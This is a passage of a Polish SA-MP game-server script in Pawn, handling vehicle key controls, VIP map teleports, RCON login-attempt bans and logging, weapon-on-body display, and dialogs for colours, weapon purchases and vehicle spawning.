  2604.             static vid;
  2605.                 vid = GetPlayerVehicleID(playerid);
  2606.  
  2607.                 if(GetPVarInt(playerid, "rNitro") != 3)
  2608.                 {
  2609.                         switch(GetPVarInt(playerid, "rNitro"))
  2610.                         {
  2611.                                 case 0:
  2612.                                 {
  2613.                                         if((newkeys & KEY_FIRE))
  2614.                                 {
  2615.                                                 AddVehicleComponent(vid, 1010);
  2616.                                         }
  2617.                                         if((oldkeys & KEY_FIRE))
  2618.                                         {
  2619.                                                 RemoveVehicleComponent(vid, 1010);
  2620.                                         }
  2621.                                 }
  2622.                                 case 1:
  2623.                                 {
  2624.                                         if((newkeys & KEY_FIRE))
  2625.                                 {
  2626.                                                 AddVehicleComponent(vid, 1010);
  2627.                                         }
  2628.                                 }
  2629.                                 case 2:
  2630.                                 {
  2631.                                         if((newkeys & KEY_FIRE))
  2632.                                 {
  2633.                                     if(GetPVarInt(playerid, "rrNitro") == 0)
  2634.                                     {
  2635.                                                         AddVehicleComponent(vid, 1010);
  2636.                                                         SetPVarInt(playerid, "rrNitro", 1);
  2637.                                                 }
  2638.                                                 else
  2639.                                                 {
  2640.                                                     SetPVarInt(playerid, "rrNitro", 0);
  2641.                                                     RemoveVehicleComponent(vid, 1010);
  2642.                                                 }
  2643.                                         }
  2644.                                 }
  2645.                         }
  2646.                 }
  2647.                 if(GetVehicleComponentInSlot(vid, 9) != 1087)
  2648.             {
  2649.                 static engine,lights,alarm,doors,bonnet,boot,objective;
  2650.                         if((newkeys & KEY_ANALOG_UP))
  2651.                         {
  2652.                                 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
  2653.                                 if(bonnet == 0) SetVehicleParamsEx(vid,engine,lights,alarm,doors,1,boot,objective);
  2654.                                 else SetVehicleParamsEx(vid,engine,lights,alarm,doors,0,boot,objective);
  2655.                         }
  2656.                         if((newkeys & KEY_ANALOG_DOWN))
  2657.                         {
  2658.                                 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
  2659.                                 if(boot == 0) SetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,1,objective);
  2660.                                 else SetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,0,objective);
  2661.                         }
  2662.                         if((newkeys & KEY_ANALOG_RIGHT))
  2663.                         {
  2664.                                 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
  2665.                                 if(alarm == 0) SetVehicleParamsEx(vid,engine,lights,1,doors,bonnet,boot,objective);
  2666.                                 else SetVehicleParamsEx(vid,engine,lights,0,doors,bonnet,boot,objective);
  2667.                         }
  2668.                         if((newkeys & KEY_ANALOG_LEFT))
  2669.                         {
  2670.                                 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
  2671.                                 if(engine == 0) SetVehicleParamsEx(vid,1,lights,alarm,doors,bonnet,boot,objective);
  2672.                                 else SetVehicleParamsEx(vid,0,lights,alarm,doors,bonnet,boot,objective);
  2673.                         }
  2674.                 }
  2675.  
  2676.                 if(newkeys & KEY_SECONDARY_ATTACK)
  2677.                 {
  2678.                         if(GetVehicleModel(vid) == 441
  2679.                                 || GetVehicleModel(vid) == 464
  2680.                                 || GetVehicleModel(vid) == 465
  2681.                                 || GetVehicleModel(vid) == 501
  2682.                                 || GetVehicleModel(vid) == 564
  2683.                                 || GetVehicleModel(vid) == 594)
  2684.                         {
  2685.                                 RemovePlayerFromVehicle(playerid);
  2686.                                 SetCameraBehindPlayer(playerid);
  2687.                         }
  2688.                 }
  2689.  
  2690.                 if(newkeys & KEY_SUBMISSION)
  2691.                 {
  2692.                     UpdateVehicleDamageStatus(vid,encode_panels(0,0,0,0,0,0,0),encode_doors(0,0,0,0),encode_lights(0,0,0,0),0000);
  2693.                 new Float:a, Float:x, Float:y, Float:z;
  2694.                 GetVehicleVelocity(vid, x,y,z);
  2695.                     GetVehicleZAngle(vid, a);
  2696.                     SetVehicleZAngle(vid, a);
  2697.                     SetVehicleVelocity(vid, x,y,z);
  2698.                 }
  2699.  
  2700.                 if(GetVehicleModel(vid) == 525 && (newkeys & KEY_ACTION))
  2701.         {
  2702.             if(IsTrailerAttachedToVehicle(vid) == 1)
  2703.             {
  2704.                 DetachTrailerFromVehicle(vid);
  2705.                 return 1;
  2706.             }
  2707.                 new Float:vX, Float:vY, Float:vZ, c;
  2708.  
  2709.                         while(c < MAX_VEHICLES)
  2710.                         {
  2711.                                 GetVehiclePos(c,vX,vY,vZ);
  2712.                                 if(IsPlayerInRangeOfPoint(playerid, 7.0, vX, vY, vZ) == 1 && c != vid)
  2713.                                 {
  2714.                                 AttachTrailerToVehicle(c, vid);
  2715.                                         return 1;
  2716.                         }
  2717.                         c++;
  2718.                         }
  2719.             }
  2720.  
  2721.                 if((newkeys & KEY_ACTION) && pRamp[playerid][0] == 1 && GetVehicleModel(GetPlayerVehicleID(playerid)) != 525)
  2722.                 {
  2723.                         if(NoRampCar(vid) && GetPVarInt(playerid, "pRampUse") == 0)
  2724.                         {
  2725.                                 new Float:x, Float:y, Float:z, Float:angle, Float:rotY = 10.0;
  2726.                                 GetVehiclePos(vid, x, y, z);
  2727.                                 GetVehicleZAngle(vid, angle);
  2728.                                 x += (16.0 * floatsin(-angle, degrees));
  2729.                                 y += (16.0 * floatcos(-angle, degrees));
  2730.  
  2731.                                 switch(pRamp[playerid][1])
  2732.                                 {
  2733.                                     case 0:
  2734.                                     {
  2735.                                         rotY -= 2.0;
  2736.                                     }case 2:
  2737.                                         {
  2738.                                                 angle -= 90.0;
  2739.                                                 if (angle < 0.0) angle += 360.0;
  2740.                                                 z += 0.5;
  2741.                                         }case 1:
  2742.                                         {
  2743.                                                 z -= 0.5;
  2744.                                                 rotY -= 1.0;
  2745.                                         }case 6:
  2746.                                         {
  2747.                                                 z += 0.5;
  2748.                                         }case 7:
  2749.                                         {
  2750.                                             z += 0.5;
  2751.                                                 rotY -= 6.0;
  2752.                                         }
  2753.                                         case 8:
  2754.                                         {
  2755.                                                 angle -= 90.0;
  2756.                                                 rotY -= 10.0;
  2757.                                         }
  2758.                                         case 9:
  2759.                                         {
  2760.                                             rotY -= 35.0;
  2761.                                                 z += 3.0;
  2762.                                         }
  2763.                                 }
  2764.                                 SetPVarInt(playerid, "pRampUse", 1);
  2765.                                 SetTimerEx("RemoveRamp", 2500, 0, "dd", playerid, CreatePlayerObject(playerid, RampTypes[pRamp[playerid][1]], x, y, z - 0.5, rotY, 0.0, angle));
  2766.                         }
  2767.                 }
  2768.         }
  2769.  
  2770.         return 1;
  2771. }
  2772.  
  2773. public OnPlayerClickMap(playerid, Float:fX, Float:fY, Float:fZ)
  2774. {
  2775.         if(pAFK[playerid] != 0)
  2776.         {
  2777.                 SCM(playerid, -1, "Wpisz "C_B"/jj"C_O", aby aktywować działania na serwerze.");
  2778.                 return 0;
  2779.         }
  2780.  
  2781.         if(!Vip[playerid] && Administrator[playerid] < 1)
  2782.             return SCM(playerid, 0xFFFFFFFF, ""C_B"Teleportować się w dowolne miejsce na mapie może tylko"C_O" VIP!");
  2783.  
  2784.         if(GetPlayerVirtualWorld(playerid) != 0 || GetPlayerInterior(playerid) != 0)
  2785.             return SCM(playerid, 0xFFFFFFFF, ""C_B"Nie możesz teraz się teleportować!");
  2786.  
  2787.         if(pInFun[playerid] == 1)
  2788.             return SCM(playerid, 0xFFFFFFFF, ""C_B"Nie możesz się teraz teleportować!");
  2789.  
  2790.         if(GetPVarInt(playerid, "vTeleMap") == 1)
  2791.             return SCM(playerid, 0xFFFFFFFF, ""C_B"Aby się teleportować używając mapy w menu, włącz opcje teleportowania.");
  2792.  
  2793.         if(IsPlayerFight(playerid) == 1)
  2794.         {
  2795.             format(strx, sizeof strx, "* "C_O"Najpierw dokończ walke z "C_B"%s", pName[pAntyTele[playerid][0]]);
  2796.                 SCM(playerid, 0xFFFFFFFF, strx);
  2797.                 return 1;
  2798.         }
  2799.  
  2800.         if(Administrator[playerid] < 1)
  2801.         {
  2802.                 CommandUseBlock(playerid, "TeleMap", 15000);
  2803.         }
  2804.  
  2805.         if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
  2806.         {
  2807.                 SetVehiclePos(GetPlayerVehicleID(playerid), fX,fY,fZ + 2.0);
  2808.         }else SetPlayerPos(playerid, fX, fY, fZ + 0.3);
  2809.  
  2810.         format(strx, sizeof strx, "Teleportowałeś się do:\n"C_B"%.f, %.f, %.f", fX,fY,fZ);
  2811.         SCM(playerid, 0xFFFFFFFF, strx);
  2812.         SetPVarInt(playerid, "ClickMapa", gettime() + 15);
  2813.         return 1;
  2814. }
  2815.  
  2816. public OnRconLoginAttempt(ip[], password[], success)
  2817. {
  2818.         new playerIP[16];
  2819.         for(new player=0; player<GetMaxPlayers(); player++)
  2820.         {
  2821.                 if(IsPlayerConnected(player))
  2822.                 {
  2823.                         GetPlayerIp(player, playerIP, 16);
  2824.                         if(!strcmp(ip, playerIP, true, 16))
  2825.                         {
  2826.                                 BanPlayer(player, "Ochrona", "Próba zalogowania na RCON");
  2827.                 format(strx, sizeof strx, "%s (%d) (IP: %d) probowal zalogowac sie na RCON, wpisane haslo: %s", pName, player, playerIP, password);
  2828.                     WriteLog(strx);
  2829.                         }
  2830.                 }
  2831.         }
  2832.         return 1;
  2833. }
  2834.  
  2835. stock GetVehSpeed(vehid)
  2836. {
  2837. new Float:X, Float:Y, Float:Z;
  2838. GetVehicleVelocity(vehid, X, Y, Z);
  2839. return floatround(floatsqroot(floatpower(X, 2) + floatpower(Y, 2) + floatpower(Z, 2)) * 200);
  2840. }
  2841. public OnPlayerUpdate(playerid)
  2842. {
  2843.         if(GetPlayerSpecialAction(playerid) == SPECIAL_ACTION_USEJETPACK && IsPlayerInDM(playerid) == 0) SetPlayerArmedWeapon(playerid, 0);
  2844.  
  2845.         pLastUpdate[playerid] = 0;
  2846.  
  2847.         static Float:vHP;
  2848.  
  2849.         if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
  2850.         {
  2851.                 new vid = GetPlayerVehicleID(playerid);
  2852.                 new PrzebiegPojazdu[800];
  2853.                 if(ZespawnowanyPrivCar[playerid] == true && GetPlayerVehicleID(playerid) == PrywatnyPojazd[playerid])
  2854.                 {
  2855.                         PrivSpeed[playerid] += GetVehSpeed(vid);
  2856.                         if(PrivSpeed[playerid] >= 1000)
  2857.                         {
  2858.                                 PrivPrzebieg[playerid] += 0.01;
  2859.                                 PrivSpeed[playerid] = 0;
  2860.                                 format(PrzebiegPojazdu, sizeof(PrzebiegPojazdu), ""C_O"Właściciel: "C_B"%s\n"C_O"Przebieg: "C_B"%.1f "C_O"km", pName[playerid], PrivPrzebieg[playerid]);
  2861.                                 Update3DTextLabelText(PrywatnyPojazdLabel[playerid], 0x00FFFFFF, PrzebiegPojazdu);
  2862.                         }
  2863.                 }
  2864.                 GetVehicleHealth(GetPlayerVehicleID(playerid), vHP);
  2865.  
  2866.                 if(vHP < 2000)
  2867.                 {
  2868.                         format(strx, sizeof(strx), "%s~n~HP: ~r~%d", VehicleNames[GetVehicleModel(GetPlayerVehicleID(playerid)) - 400], floatround(((vHP - 250) * 100) / 750));
  2869.                         TextDrawSetString(Stan[0][playerid], strx);
  2870.                         format(strx, sizeof(strx), "Predkosc~n~km/h ~r~%d", GetVehSpeed(GetPlayerVehicleID(playerid)), floatround(((vHP - 250) * 100) / 750));
  2871.                         TextDrawSetString(Stan[1][playerid], strx);
  2872.                 }else
  2873.                 {
  2874.                         format(strx, sizeof(strx), "%s~n~HP: ~r~GOD");
  2875.                         TextDrawSetString(Stan[0][playerid], strx);
  2876.                         format(strx, sizeof(strx), "Predkosc~n~km/h ~r~%d", VehicleNames[GetVehicleModel(GetPlayerVehicleID(playerid)) - 400], GetVehSpeed(GetPlayerVehicleID(playerid)), floatround(((vHP - 250) * 100) / 750));
  2877.                         TextDrawSetString(Stan[1][playerid], strx);
  2878.                 }
  2879.                 new Float:vec[3];
  2880.                 GetPlayerCameraFrontVector(playerid, vec[0], vec[1], vec[2]);
  2881.                 new bool:possible_crasher = false;
  2882.                 for (new i = 0; !possible_crasher && i < sizeof(vec); i++)
  2883.                 if (floatabs(vec[i]) > 10.0)
  2884.                 possible_crasher = true;
  2885.  
  2886.                 if (possible_crasher)
  2887.                 return 0;
  2888.         }
  2889.         if(GetTickCount() - armedbody_pTick[playerid] > 113){ //prefix check itter
  2890.                 new
  2891.                 weaponid[13],weaponammo[13],pArmedWeapon;
  2892.                 pArmedWeapon = GetPlayerWeapon(playerid);
  2893.                 GetPlayerWeaponData(playerid,1,weaponid[1],weaponammo[1]);
  2894.                 GetPlayerWeaponData(playerid,2,weaponid[2],weaponammo[2]);
  2895.                 GetPlayerWeaponData(playerid,4,weaponid[4],weaponammo[4]);
  2896.                 GetPlayerWeaponData(playerid,5,weaponid[5],weaponammo[5]);
  2897.                 #if ARMEDBODY_USE_HEAVY_WEAPON
  2898.                 GetPlayerWeaponData(playerid,7,weaponid[7],weaponammo[7]);
  2899.                 #endif
  2900.                 if(weaponid[1] && weaponammo[1] > 0){
  2901.                         if(pArmedWeapon != weaponid[1]){
  2902.                                 if(!IsPlayerAttachedObjectSlotUsed(playerid,0)){
  2903.                                         SetPlayerAttachedObject(playerid,0,GetWeaponModel(weaponid[1]),1, 0.199999, -0.139999, 0.030000, 0.500007, -115.000000, 0.000000, 1.000000, 1.000000, 1.000000);
  2904.                                 }
  2905.                         }
  2906.                         else {
  2907.                                 if(IsPlayerAttachedObjectSlotUsed(playerid,0)){
  2908.                                         RemovePlayerAttachedObject(playerid,0);
  2909.                                 }
  2910.                         }
  2911.                 }
  2912.                 else if(IsPlayerAttachedObjectSlotUsed(playerid,0)){
  2913.                         RemovePlayerAttachedObject(playerid,0);
  2914.                 }
  2915.                 if(weaponid[2] && weaponammo[2] > 0){
  2916.                         if(pArmedWeapon != weaponid[2]){
  2917.                                 if(!IsPlayerAttachedObjectSlotUsed(playerid,1)){
  2918.                                         SetPlayerAttachedObject(playerid,1,GetWeaponModel(weaponid[2]),8, -0.079999, -0.039999, 0.109999, -90.100006, 0.000000, 0.000000, 1.000000, 1.000000, 1.000000);
  2919.                                 }
  2920.                         }
  2921.                         else {
  2922.                                 if(IsPlayerAttachedObjectSlotUsed(playerid,1)){
  2923.                                         RemovePlayerAttachedObject(playerid,1);
  2924.                                 }
  2925.                         }
  2926.                 }
  2927.                 else if(IsPlayerAttachedObjectSlotUsed(playerid,1)){
  2928.                         RemovePlayerAttachedObject(playerid,1);
  2929.                 }
  2930.                 if(weaponid[4] && weaponammo[4] > 0){
  2931.                         if(pArmedWeapon != weaponid[4]){
  2932.                                 if(!IsPlayerAttachedObjectSlotUsed(playerid,2)){
  2933.                                         SetPlayerAttachedObject(playerid,2,GetWeaponModel(weaponid[4]),7, 0.000000, -0.100000, -0.080000, -95.000000, -10.000000, 0.000000, 1.000000, 1.000000, 1.000000);
  2934.                                 }
  2935.                         }
  2936.                         else {
  2937.                                 if(IsPlayerAttachedObjectSlotUsed(playerid,2)){
  2938.                                         RemovePlayerAttachedObject(playerid,2);
  2939.                                 }
  2940.                         }
  2941.                 }
  2942.                 else if(IsPlayerAttachedObjectSlotUsed(playerid,2)){
  2943.                         RemovePlayerAttachedObject(playerid,2);
  2944.                 }
  2945.                 if(weaponid[5] && weaponammo[5] > 0){
  2946.                         if(pArmedWeapon != weaponid[5]){
  2947.                                 if(!IsPlayerAttachedObjectSlotUsed(playerid,3)){
  2948.                                         SetPlayerAttachedObject(playerid,3,GetWeaponModel(weaponid[5]),1, 0.200000, -0.119999, -0.059999, 0.000000, 206.000000, 0.000000, 1.000000, 1.000000, 1.000000);
  2949.                                 }
  2950.                         }
  2951.                         else {
  2952.                                 if(IsPlayerAttachedObjectSlotUsed(playerid,3)){
  2953.                                         RemovePlayerAttachedObject(playerid,3);
  2954.                                 }
  2955.                         }
  2956.                 }
  2957.                 else if(IsPlayerAttachedObjectSlotUsed(playerid,3)){
  2958.                         RemovePlayerAttachedObject(playerid,3);
  2959.                 }
  2960.                 #if ARMEDBODY_USE_HEAVY_WEAPON
  2961.                 if(weaponid[7] && weaponammo[7] > 0){
  2962.                         if(pArmedWeapon != weaponid[7]){
  2963.                                 if(!IsPlayerAttachedObjectSlotUsed(playerid,4)){
  2964.                                         SetPlayerAttachedObject(playerid,4,GetWeaponModel(weaponid[7]),1,-0.100000, 0.000000, -0.100000, 84.399932, 112.000000, 10.000000, 1.099999, 1.000000, 1.000000);
  2965.                                 }
  2966.                         }
  2967.                         else {
  2968.                                 if(IsPlayerAttachedObjectSlotUsed(playerid,4)){
  2969.                                         RemovePlayerAttachedObject(playerid,4);
  2970.                                 }
  2971.                         }
  2972.                 }
  2973.                 else if(IsPlayerAttachedObjectSlotUsed(playerid,4)){
  2974.                         RemovePlayerAttachedObject(playerid,4);
  2975.                 }
  2976.                 #endif
  2977.                 armedbody_pTick[playerid] = GetTickCount();
  2978.         }
  2979.         return 1;
  2980. }
  2981.  
  2982. stock GetWeaponModel(weaponid)
  2983. {
  2984.         switch(weaponid)
  2985.         {
  2986.                 case 1:
  2987.                         return 331;
  2988.  
  2989.                 case 2..8:
  2990.                         return weaponid+331;
  2991.  
  2992.                 case 9:
  2993.                         return 341;
  2994.  
  2995.                 case 10..15:
  2996.                         return weaponid+311;
  2997.  
  2998.                 case 16..18:
  2999.                         return weaponid+326;
  3000.  
  3001.                 case 22..29:
  3002.                         return weaponid+324;
  3003.  
  3004.                 case 30,31:
  3005.                         return weaponid+325;
  3006.  
  3007.                 case 32:
  3008.                         return 372;
  3009.  
  3010.                 case 33..45:
  3011.                         return weaponid+324;
  3012.  
  3013.                 case 46:
  3014.                         return 371;
  3015.         }
  3016.         return 0;
  3017. }
  3018.  
  3019. public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
  3020. {
  3021.         if(dialogid == 112){
  3022.                 if(response){
  3023.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3024.                         ShowPlayerDialog(playerid,113,2,"{3FBAFC}Statystyki","Statystyki Serwera\nTOP List - Respekt\nTOP List - Kasy\nTOP List - Kasy w banku\nTOP List - Wizyt\nTOP List - Minigun\nTOP List -RGP\nTOP Wygranych /WG\nTOP Wygranych /CH\nTOP Wygranych /TW\nTOP Wygranych /HY\nTOP Wygranych /SS\nTOP Wygranych /DD\nTOP Przepisanych Kodów\nTOP Obliczonych Zadań Matematycznych","Dalej","Wyjdz");
  3025.                 }
  3026.                 return 1;
  3027.         }
  3028.         if(dialogid == 125)
  3029.         {
  3030.                 if(response == 1)
  3031.                         ShowPlayerDialog(playerid, 126, DIALOG_STYLE_LIST, "Wybierz kolor jakim chcesz się posługiwać", "1. Zielony\n2. Czerwony\n3. Pomarańczowy\n4. Różowy\n5. Fioletowy\n6. Niebieski\n7. Błękit\n8. Żółty \n9. Limonkowy\n10. Losowy kolor", "Zatwierdź", "Anuluj");
  3032.                 else
  3033.                         SendClientMessage(playerid, GetPlayerColor(playerid), "Kolor nie został zmieniony. (To jest obecny kolor)");
  3034.         }
  3035.         if(dialogid == 126) {
  3036.                 if ( !response ) return 1;
  3037.  
  3038.                 switch( listitem ) {
  3039.                         case 0: SetPlayerColor( playerid, 0x00FF0AFF );         // Zielone
  3040.                         case 1: SetPlayerColor( playerid, 0xFF0000FF );         //Czerwone
  3041.                         case 2: SetPlayerColor( playerid, 0xFFCA00FF );         //Pomaranczowe
  3042.                         case 3: SetPlayerColor( playerid, 0xFF00E0FF );         // Rozowy
  3043.                         case 4: SetPlayerColor( playerid, 0xCE2DE0FF );         // Fiolet
  3044.                         case 5: SetPlayerColor( playerid, 0x005DFFFF );         // Niebieski
  3045.                         case 6: SetPlayerColor( playerid, 0x00FEFFFF );         // Niebieski (błękit)
  3046.                         case 7: SetPlayerColor( playerid, 0xD3FF00FF );         // Zolty
  3047.                         case 8: SetPlayerColor( playerid, 0x93F600FF );         // Limonkowy
  3048.                         case 9: SetPlayerColor( playerid, MAKE_COLOUR( random( 255 ), random( 255 ), random( 255 ) ) ); // Losowy kolor
  3049.                 }
  3050.         }
  3051.         if(dialogid == 345)
  3052.         {
  3053.                 switch(listitem)
  3054.                 {
  3055.                         case 0:
  3056.                         {
  3057.                                 if(GetPlayerMoney(playerid) < 2500000) return SCM(playerid, -1, ""C_B"Nie stać Cię na miniguna ! ");
  3058.                                 GivePlayerWeapon(playerid, 38, 5000);
  3059.                                 GivePlayerMoney(playerid, -2500000);
  3060.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) miniguna. ");
  3061.                         }
  3062.                         case 1:
  3063.                         {
  3064.                                 if(GetPlayerMoney(playerid) < 2000000) return SCM(playerid, -1, ""C_B"Nie stać Cię na wyrzutnię rakiet ! ");
  3065.                                 GivePlayerWeapon(playerid, 35, 5000);
  3066.                                 GivePlayerMoney(playerid, -2000000);
  3067.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) wyrzutnię rakiet ");
  3068.                         }
  3069.                         case 2:
  3070.                         {
  3071.                                 if(GetPlayerMoney(playerid) < 2500000) return SCM(playerid, -1, ""C_B"Nie stać Cię na wyrzutnię rakiet ! ");
  3072.                                 GivePlayerWeapon(playerid, 36, 5000);
  3073.                                 GivePlayerMoney(playerid, -2500000);
  3074.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) wyrzutnię rakiet ");
  3075.                         }
  3076.                         case 3:
  3077.                         {
  3078.                                 if(GetPlayerMoney(playerid) < 1500000) return SCM(playerid, -1, ""C_B"Nie stać Cię na miotacz ognia ! ");
  3079.                                 GivePlayerWeapon(playerid, 37, 5000);
  3080.                                 GivePlayerMoney(playerid, -1500000);
  3081.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) miotacz ognia ");
  3082.                         }
  3083.                         case 4:
  3084.                         {
  3085.                                 if(GetPlayerMoney(playerid) < 500000) return SCM(playerid, -1, ""C_B"Nie stać Cię na granaty ! ");
  3086.                                 GivePlayerWeapon(playerid, 16, 5000);
  3087.                                 GivePlayerMoney(playerid, -500000);
  3088.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) granaty ");
  3089.                         }
  3090.                         case 5:
  3091.                         {
  3092.                                 if(GetPlayerMoney(playerid) < 500000) return SCM(playerid, -1, ""C_B"Nie stać Cię na koktajle motolova ! ");
  3093.                                 GivePlayerWeapon(playerid, 18, 5000);
  3094.                                 GivePlayerMoney(playerid, -500000);
  3095.                                 SendClientMessage(playerid, -1, ""C_O"Kupiłeś(aś) koktajle motolova. ");
  3096.                         }
  3097.                         case 6:
  3098.                         {
  3099.                                 if(GetPlayerMoney(playerid) < 15000) return SCM(playerid, -1, ""C_B"Nie stać Cię na niewiedzialność ! ");
  3100.                                 SetPlayerColor(playerid, 0xFFFEFF00);
  3101.                                 SendClientMessage(playerid, -1, ""C_O"Stałeś(aś) się niewidzialny(a). ");
  3102.                         }
  3103.                 }
  3104.         }
  3105.         if(dialogid == 566){
  3106.                 if(response){
  3107.                         new Float:x,Float:y,Float:z;
  3108.                         GetPlayerPos(playerid,x,y,z);
  3109.                         SetPlayerPos(GetPVarInt(playerid,"tpdo"),x,y,z+2);
  3110.                         }else{
  3111.                         SCM(GetPVarInt(playerid,"tpdo"),-1,""C_B"Gracz nie zgodzil sie na teleport do niego!");
  3112.                 }
  3113.                 return 1;
  3114.         }
  3115.  
  3116.         if(dialogid == 400)
  3117.         {
  3118.                 if(response)
  3119.                 {
  3120.                         switch(listitem)
  3121.                         {
  3122.                                 case 0:
  3123.                                 {
  3124.                                         new string[1230];
  3125.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3126.                                         strcat(string,"Admiral\nAlpha\nAmbulans\nBaggage\nBandito\nBanshee\nBarracks\nBenson\nBfinject\nBlade\nBlistac\nBloodra\nBobcat\nBoxburg\nBoxville\nBravura\nBroadway\nBuccanee\nBuffalo\nBullet\nBurrito\nBus\nCabbie\nCaddy\nCadrona\nCamper\nCement\nCheetah\nClover\nClub\nCoach\nCombine\nComet\nCopCarla\nCopCarru\nCopCarsf\nCopCarvg\nCft30\nDozer\nDumper\nDuneride\nElegant\nElegy\nEmperor\nEnforcer\nEsperant\nEuros\nFbiranch\nFbitruck\nFeltze\n");
  3127.                                         strcat(string,"Firela\nFiretruck\nFlash\nFlatbed\nForklift\nFortune\nGlendale\nGreenwoo\nHermes\nHotdog\nHotknife\nHotrina\nHotrinb\nHotring\nHuntley\nHustler\nInfernus\nIntruder\nJester\nJourney\nKart\nLandstalker\nLinerunner\nMajestic\nManana\nMerit\nMesa\nMoonbeam\nMower\nMrwhoop\nMonster\nMonsterA\nMonsterB\nMule\nNebula\nNewsvan\nOceanic\nPacker\nPatriot\nPeren\nPetro\nPhoenix\nPicador\nPony\nPremier\nPrevion\nPrimo\nRancher\nRoadtrain\n");
  3128.                                         strcat(string,"Regina\nRemington\nRomero\nRumpoid\nSabre\nSadler\nSandking\nSavanna\nSecurica\nSentinel\nSlamvan\nSolair\nStafford\nStallion\nStratum\nStretch\nSultan\nSunrise\nSupergt\nSwatvan\nSweeper\nTahoma\nTampa\nTaxi\nTopfun\nTornado\nTowtruck\nTractor\nTrash\nTug\nTurismo\nUranus\nUtility\nVincent\nVirgo\nVoodoo\nVortex\nWashington\nWillard\nWindsor\nYankee\nYosemite");
  3129.                                         ShowPlayerDialog(playerid,401,DIALOG_STYLE_LIST,"Samochody",string,"Wybierz","Cofnij");
  3130.                                 }
  3131.                                 case 1:
  3132.                                 {
  3133.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3134.                                         ShowPlayerDialog(playerid,402,DIALOG_STYLE_LIST,"Motory/Rowery","Bike\nBMX\nMountain Bike\nNRG-500\nFaggio\nFCR-900\nFreeway\nWayfarer\nSanchez\nQuad","Wybierz","Cofnij");
  3135.                                 }
  3136.                                 case 2:
  3137.                                 {
  3138.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3139.                                         ShowPlayerDialog(playerid,403,DIALOG_STYLE_LIST,"Łodzie","Dinghy\nJetmax\nMarquis\nReefer\nSpeeder\nSqualo\nTropic","Wybierz","Cofnij");
  3140.                                 }
  3141.                                 case 3:
  3142.                                 {
  3143.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3144.                                         ShowPlayerDialog(playerid,404,DIALOG_STYLE_LIST,"Samoloty/Helikoptery","Dodo\nStunt\nBeagle\nSkimmer\nShamal\nCargobob\nLeviathn\nMaverick\nRaindanc\nSparrow","Wybierz","Cofnij");
  3145.                                 }
  3146.                         }
  3147.                 }
  3148.                 return 1;
  3149.         }
  3150.         if(dialogid == 401)
  3151.         {
  3152.                 if(response)
  3153.                 {
  3154.                         switch(listitem)
  3155.                         {
  3156.                                 case 0: GivePlayerCar(playerid,445);
  3157.                                 case 1: GivePlayerCar(playerid,602);
  3158.                                 case 2: GivePlayerCar(playerid,416);
  3159.                                 case 3: GivePlayerCar(playerid,485);
  3160.                                 case 4: GivePlayerCar(playerid,568);
  3161.                                 case 5: GivePlayerCar(playerid,429);
  3162.                                 case 6: GivePlayerCar(playerid,433);
  3163.                                 case 7: GivePlayerCar(playerid,499);
  3164.                                 case 8: GivePlayerCar(playerid,424);
  3165.                                 case 9: GivePlayerCar(playerid,536);
  3166.                                 case 10: GivePlayerCar(playerid,496);
  3167.                                 case 11: GivePlayerCar(playerid,504);
  3168.                                 case 12: GivePlayerCar(playerid,422);
  3169.                                 case 13: GivePlayerCar(playerid,609);
  3170.                                 case 14: GivePlayerCar(playerid,498);
  3171.                                 case 15: GivePlayerCar(playerid,401);
  3172.                                 case 16: GivePlayerCar(playerid,575);
  3173.                                 case 17: GivePlayerCar(playerid,518);
  3174.                                 case 18: GivePlayerCar(playerid,402);
  3175.                                 case 19: GivePlayerCar(playerid,541);
  3176.                                 case 20: GivePlayerCar(playerid,482);
  3177.                                 case 21: GivePlayerCar(playerid,431);
  3178.                                 case 22: GivePlayerCar(playerid,438);
  3179.                                 case 23: GivePlayerCar(playerid,457);
  3180.                                 case 24: GivePlayerCar(playerid,527);
  3181.                                 case 25: GivePlayerCar(playerid,483);
  3182.                                 case 26: GivePlayerCar(playerid,524);
  3183.                                 case 27: GivePlayerCar(playerid,415);
  3184.                                 case 28: GivePlayerCar(playerid,542);
  3185.                                 case 29: GivePlayerCar(playerid,589);
  3186.                                 case 30: GivePlayerCar(playerid,437);
  3187.                                 case 31: GivePlayerCar(playerid,532);
  3188.                                 case 32: GivePlayerCar(playerid,480);
  3189.                                 case 33: GivePlayerCar(playerid,596);
  3190.                                 case 34: GivePlayerCar(playerid,599);
  3191.                                 case 35: GivePlayerCar(playerid,597);
  3192.                                 case 36: GivePlayerCar(playerid,598);
  3193.                                 case 37: GivePlayerCar(playerid,578);
  3194.                                 case 38: GivePlayerCar(playerid,486);
  3195.                                 case 39: GivePlayerCar(playerid,406);
  3196.                                 case 40: GivePlayerCar(playerid,573);
  3197.                                 case 41: GivePlayerCar(playerid,507);
  3198.                                 case 42: GivePlayerCar(playerid,562);
  3199.                                 case 43: GivePlayerCar(playerid,585);
  3200.                                 case 44: GivePlayerCar(playerid,427);
  3201.                                 case 45: GivePlayerCar(playerid,419);
  3202.                                 case 46: GivePlayerCar(playerid,587);
  3203.                                 case 47: GivePlayerCar(playerid,490);
  3204.                                 case 48: GivePlayerCar(playerid,528);
  3205.                                 case 49: GivePlayerCar(playerid,533);
  3206.                                 case 50: GivePlayerCar(playerid,544);
  3207.                                 case 51: GivePlayerCar(playerid,407);
  3208.                                 case 52: GivePlayerCar(playerid,565);
  3209.                                 case 53: GivePlayerCar(playerid,455);
